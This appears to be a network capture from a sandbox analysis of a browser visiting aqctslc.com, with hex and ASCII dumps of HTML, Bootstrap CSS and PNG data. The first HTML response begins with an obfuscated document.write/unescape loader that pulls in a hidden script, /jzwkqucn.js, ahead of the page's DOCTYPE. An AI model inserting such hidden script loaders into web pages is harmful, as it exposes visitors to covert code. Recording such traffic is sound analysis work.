2025-01-09 23:51:33 UTC	16138	IN	Data Raw: 39 39 65 34 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 73 72 63 25 33 44 25 32 32 5c 75 30 30 32 66 5c 75 30 30 36 61 5c 75 30 30 37 61 5c 75 30 30 37 37 5c 75 30 30 36 62 5c 75 30 30 37 31 5c 75 30 30 37 35 5c 75 30 30 36 33 5c 75 30 30 36 65 5c 75 30 30 32 65 5c 75 30 30 36 61 5c 75 30 30 37 33 25 32 32 25 33 45 25 33 43 2f 73 63 72 69 70 74 25 33 45 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 Data Ascii: 99e4<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u006a\u007a\u0077\u006b\u0071\u0075\u0063\u006e\u002e\u006a\u0073%22%3E%3C/script%3E"));</script><!DOCTYPE html><html lang="zh-CN"><head> <meta http-equiv="Content-Type" content="te
2025-01-09 23:51:33 UTC	16384	IN	Data Raw: 6c 69 6e 6b 2d 62 74 6e 22 3e e9 98 85 e8 af bb 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 64 61 74 61 2d 61 70 70 2d 69 64 3d 22 36 37 36 38 33 39 35 37 37 38 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 34 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 64 61 74 61 2d 61 70 70 2d 69 64 3d 22 36 37 36 38 33 39 35 37 37 39 22 20 63 6c 61 Data Ascii: link-btn"></a> </div> </div> </div> <div data-app-id="6768395778" class="col-lg-4 col-md-6 col-sm-12"> <div data-app-id="6768395779" cla
2025-01-09 23:51:33 UTC	6887	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 71 63 74 73 6c 63 2e 63 6f 6d 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 64 61 74 61 2d 61 70 70 2d 69 64 3d 22 36 37 36 38 33 39 35 38 37 34 22 20 63 6c 61 73 73 3d 22 72 69 2d 79 6f 75 74 75 62 65 2d 66 69 Data Ascii: </a> </li> <li> <a href="https://aqctslc.com/" target="_blank"> <i data-app-id="6768395874" class="ri-youtube-fi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49732	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:33 UTC	556	OUT	GET /themes/static/css/bootstrap.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	16140	IN	Data Raw: 31 66 66 61 30 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 30 2d 62 65 74 61 31 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d Data Ascii: 1ffa0@charset "UTF-8";/! Bootstrap v5.0.0-beta1 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{-
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 74 65 72 2d 78 3a 30 7d 2e 67 2d 78 6c 2d 30 2c 2e 67 79 2d 78 6c 2d 30 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 7d 2e 67 2d 78 6c 2d 31 2c 2e 67 78 2d 78 6c 2d 31 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 30 2e 32 35 72 65 6d 7d 2e 67 2d 78 6c 2d 31 2c 2e 67 79 2d 78 6c 2d 31 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 2e 32 35 72 65 6d 7d 2e 67 2d 78 6c 2d 32 2c 2e 67 78 2d 78 6c 2d 32 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 30 2e 35 72 65 6d 7d 2e 67 2d 78 6c 2d 32 2c 2e 67 79 2d 78 6c 2d 32 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 2e 35 72 65 6d 7d 2e 67 2d 78 6c 2d 33 2c 2e 67 78 2d 78 6c 2d 33 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 72 65 6d 7d 2e 67 2d 78 6c 2d 33 2c 2e 67 79 2d 78 6c 2d 33 7b 2d 2d 62 73 2d 67 75 Data Ascii: ter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gu
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 2e 66 6f 72 6d 2d 66 6c 6f 61 74 69 6e 67 3e 2e 66 6f 72 6d 2d 73 65 6c 65 63 74 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 33 2e 35 72 65 6d 20 2b 20 32 70 78 29 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 20 2e 37 35 72 65 6d 7d 2e 66 6f 72 6d 2d 66 6c 6f 61 74 69 6e 67 3e 6c 61 62 65 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 20 2e 37 35 72 65 6d 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 20 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 73 20 65 61 73 65 Data Ascii: .form-floating>.form-select{height:calc(3.5rem + 2px);padding:1rem .75rem}.form-floating>label{position:absolute;top:0;left:0;height:100%;padding:1rem .75rem;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 7b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 74 6e 2d 63 68 65 63 6b 3a 66 6f 63 75 73 2b 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 Data Ascii: ground-color:transparent}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:focus+.btn-outline-secondary,.btn-outline-secondary:focus{box-shadow:0 0 0
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 6e 61 76 2d 6c 69 6e 6b 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 35 72 65 6d 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 2e 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e Data Ascii: ropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg .navbar-collapse{display:flex!important}.navbar-expand-lg .navbar-toggler{display:none}}@media (min-width:1200px){.navbar-expan
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2d 78 6c 3e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2d 78 6c 3e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 61 63 74 69 76 65 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 6c 69 73 74 Data Ascii: em:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 65 6d 2d 70 72 65 76 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 65 6e 64 2c 2e 63 61 72 6f 75 73 65 6c 2d 66 61 64 65 20 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2e 61 63 74 69 76 65 7b 7a 2d 69 6e 64 65 78 3a 31 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 63 61 72 6f 75 73 65 6c 2d 66 61 64 65 20 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 65 6e 64 2c 2e 63 61 72 6f 75 73 65 6c 2d 66 61 64 65 20 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 73 74 61 72 74 7b 7a 2d 69 6e 64 65 78 3a 30 3b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 30 73 20 2e 36 73 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 72 65 64 75 63 65 29 7b 2e 63 61 Data Ascii: em-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.ca
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 75 74 65 64 7b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 62 6c 61 63 6b 2d 35 30 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 77 68 69 74 65 2d 35 30 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 35 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 72 65 73 65 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 68 2d 31 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 68 2d 73 6d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6c 68 2d 62 61 73 65 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 21 69 6d 70 Data Ascii: uted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-reset{color:inherit!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!imp
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 6d 64 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 66 6c 6f 61 74 2d 6c 67 2d 73 74 61 72 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 61 74 2d 6c 67 2d 65 6e 64 7b 66 6c 6f 61 74 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6c 6f 0d 0a 35 36 34 66 0d 0a 61 74 2d 6c 67 2d 6e 6f 6e 65 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 6c 67 2d 69 6e 6c 69 6e 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 2d 6c 67 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7b 64 69 73 Data Ascii: portant}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.flo564fat-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{dis
2025-01-09 23:51:34 UTC	5881	IN	Data Raw: 65 6c 66 2d 78 78 6c 2d 61 75 74 6f 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 78 78 6c 2d 73 74 61 72 74 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 78 78 6c 2d 65 6e 64 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 78 78 6c 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 78 78 6c 2d 62 61 73 65 6c 69 6e 65 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 62 61 73 65 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e Data Ascii: elf-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49745	104.26.3.190	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	631	OUT	GET /images/img_678003648509e8.27521784.png HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	978	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: image/png Content-Length: 22127 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:05 GMT x-rgw-object-type: Normal ETag: "82bdf36720a5f25dc553d03aae99199c" x-amz-request-id: tx000008d15f30203b4a0d6-0067806107-5b2857-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sFGN%2Bf4mRkDRO6fqRLC7czjp6jIa7HLpWea4hO8NyTjlll%2FlwD7Y528CDstxnXyNDxyOIM2JTi%2BrupdYg0%2B3vPeWENKfJ0Mnd5JVqH9Yg8GvvmqS2F4pUaUJc0PMU%2B9wB1dJSYWs%2F5otcavhtNmP7Nta8PnIqCBK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856090a2e4295-EWR server-timing: cfL4;desc="?proto=TCP&rtt=4335&min_rtt=1775&rtt_var=5601&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2481&recv_bytes=1213&delivery_rate=1413359&cwnd=253&unsent_bytes=0&cid=802592b295b9f7bb&ts=1111&x=0"
2025-01-09 23:51:35 UTC	391	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e5 00 00 00 64 08 06 00 00 00 b8 ab 28 ab 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 20 00 49 44 41 54 78 9c ec bd 77 98 24 57 79 e8 fd ab 5c 1d a6 7b a6 67 76 b6 77 66 f3 6a a5 d5 4a 5a 65 b5 24 10 08 11 44 30 60 23 04 5c b0 31 d7 e9 1a 07 30 9f 8d 71 f8 f8 fa 69 1b 2e 9f 13 36 c6 c6 c6 5c a2 8d b1 c9 59 22 4b 08 24 35 ca 61 57 1b b4 b3 61 36 f4 cc 4e e8 e9 58 b9 ee 1f 55 93 7a 7a 76 7a 76 67 76 17 a8 df f3 f4 33 d3 55 a7 aa 4e 57 57 9f f7 bc ef 79 03 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 9c 29 31 4d ea ee 4b eb e7 bb 1b 11 11 11 11 11 11 11 cf d9 b5 ee 5e 55 91 2e 3a df fd 88 88 88 88 88 88 38 17 Data Ascii: PNGIHDRd(pHYs+ IDATxw$Wy\{gvwfjJZe$D0`#\10qi.6\Y"K$5aWa6NXUzzvzvgv3UNWWyDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD)1MK^U.:8
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: a6 fe c4 c7 53 9e bb ab 2f b3 96 43 a5 12 4d 5f c4 16 05 14 cf 07 20 26 cc 0a e7 a6 2f 22 c9 12 99 94 cc 0b ae ed 65 5b 8f c4 da de 40 20 37 0c 7f de b9 bb fb 43 2b 78 97 52 3a 39 5a ff fe f8 f8 d4 37 fe e2 df 1e f8 62 d3 74 8c 73 f3 e9 22 22 22 22 22 22 4e cf 05 21 94 bb 93 aa fc c2 eb 07 5e 74 ec 50 f3 ae c9 6a 05 4b 52 b8 64 4d 2f c7 c7 46 99 b2 c1 4d 76 e1 58 36 00 8e 6d a3 d8 0e aa 2c cc 08 e8 a6 2f b2 26 a3 71 d1 ba 04 97 65 45 b6 6e 4c 03 10 d7 05 7a dc e0 23 1e b7 3d aa 75 0b 2f 96 a6 27 d3 45 4a 4d 01 f0 fd 27 0f 5d fb ef 5f 7f e6 d1 b1 a9 48 36 47 44 44 44 44 9c 5f e4 f3 dd 81 57 dd b2 f1 8f af db d6 fd f6 a3 e5 89 81 9f 54 6a 98 6a 9c 8c 1e 2c 75 5b 4a 0c 5f 72 10 15 15 19 70 2c 1b 59 51 10 04 8f ba 2f 62 d9 fe 8c 70 9e a8 38 3c 4b 1d 51 d3 c9 Data Ascii: S/CM_ &/"e[@ 7C+xR:9Z7bts""""""N!^tPjKRdM/FMvX6m,/&qeEnLz#=u/'EJM']_H6GDDDD_WTjj,u[J_rp,YQ/bp8<KQ
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 53 0e 84 a9 a4 26 51 9a 63 d8 31 9d 5a 13 b2 ba cb 94 1f ac 1d 4f 4e af 2f 4b 32 15 cb 21 05 e8 9a 86 6d 9a c0 42 81 0c 90 48 04 26 74 25 d3 cf 96 8b 36 b1 66 60 80 4c 26 c5 a9 89 0a 76 e3 1b f4 c6 0f 72 e0 d0 14 6f b8 a5 8f 2f 3c 58 de 75 f1 40 d7 c8 9e a3 53 1b 0c cb 3d b6 d2 f7 2f 22 22 22 22 e2 e7 97 15 35 5f bf e3 4d 57 5f b3 63 43 e2 87 b7 e7 64 92 89 24 27 c6 2a 3c b2 db e0 8b 4f 96 89 e9 22 66 c3 a3 5a f7 a8 35 5c 8c ba 83 85 82 24 4b 48 92 cc f6 de 38 ac 5d 8f 14 4b 30 36 36 89 a0 25 f0 ac 26 5d 9e 85 24 cb a4 e3 d0 a8 1b 58 38 d8 36 e8 8a 88 e1 ab c4 5c 93 ad 99 0c a7 aa 0d 44 55 46 17 65 ea b6 03 6e 60 ce f6 05 48 74 05 26 6c 45 d3 90 e4 f9 1f 39 91 88 91 ce f6 b3 ed 8a 5d ec bc e6 4a b6 bf e4 15 28 8d 20 e7 76 7c e2 28 66 a5 cc a3 bb c7 d9 b9 Data Ascii: S&Qc1ZON/K2!mBH&t%6f`L&vro/<Xu@S=/""""5_MW_cCd$'*<O"fZ5\$KH8]K066%&]$X86\DUFen`Ht&lE9]J( v\|(f
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 2e 53 9b 18 a5 56 33 79 ce 8e 04 75 d3 e3 a6 8d 3e df dd 63 92 59 93 98 f8 dc 3d c3 57 46 a1 52 11 11 11 11 11 67 c2 19 9b af df 72 67 ee e3 d3 ff 3f 3c 24 cf 08 e4 de cc ac 43 57 b5 26 ce 73 f0 9a 46 95 45 ea 82 44 d5 30 71 6c 93 5a cd e6 a1 d2 18 97 f4 b8 48 7e 13 d1 9a a4 4b 09 14 ce ae ae 18 cf 56 e5 19 81 0c d0 d0 e2 c4 c3 e9 44 c3 67 46 20 9b be ca 64 c3 24 a5 8a a4 24 70 1d 17 d7 71 91 d6 6f 43 59 1f 94 6c 6c 9a 61 7e 6c 5d 22 1d 93 89 75 77 d3 ad 0a 74 ab 02 f1 4c 1c a9 51 05 20 95 e9 e5 92 3b df c2 25 77 be 05 21 1e e7 f8 33 4f 33 f6 c4 63 98 27 4e a0 18 0e 3d b2 c4 63 cf 1a 24 34 91 e1 31 8b 4b fa 05 c4 7a 2d f3 f2 9b d6 7f f4 4c ef 69 44 44 44 44 c4 cf 37 67 9c 3c a4 2f 11 cf 6e 4f 4d 70 f4 d4 24 f7 3d 7c 6c 9e 40 3e f0 94 8b 27 85 79 a5 65 1d Data Ascii: .SV3yu>cY=WFRgrg?<$CW&sFED0qlZH~KVDgF d$$pqoCYlla~l]"uwtLQ ;%w!3O3c'N=c$41Kz-LiDDDD7g</nOMp$=\|l@>'ye
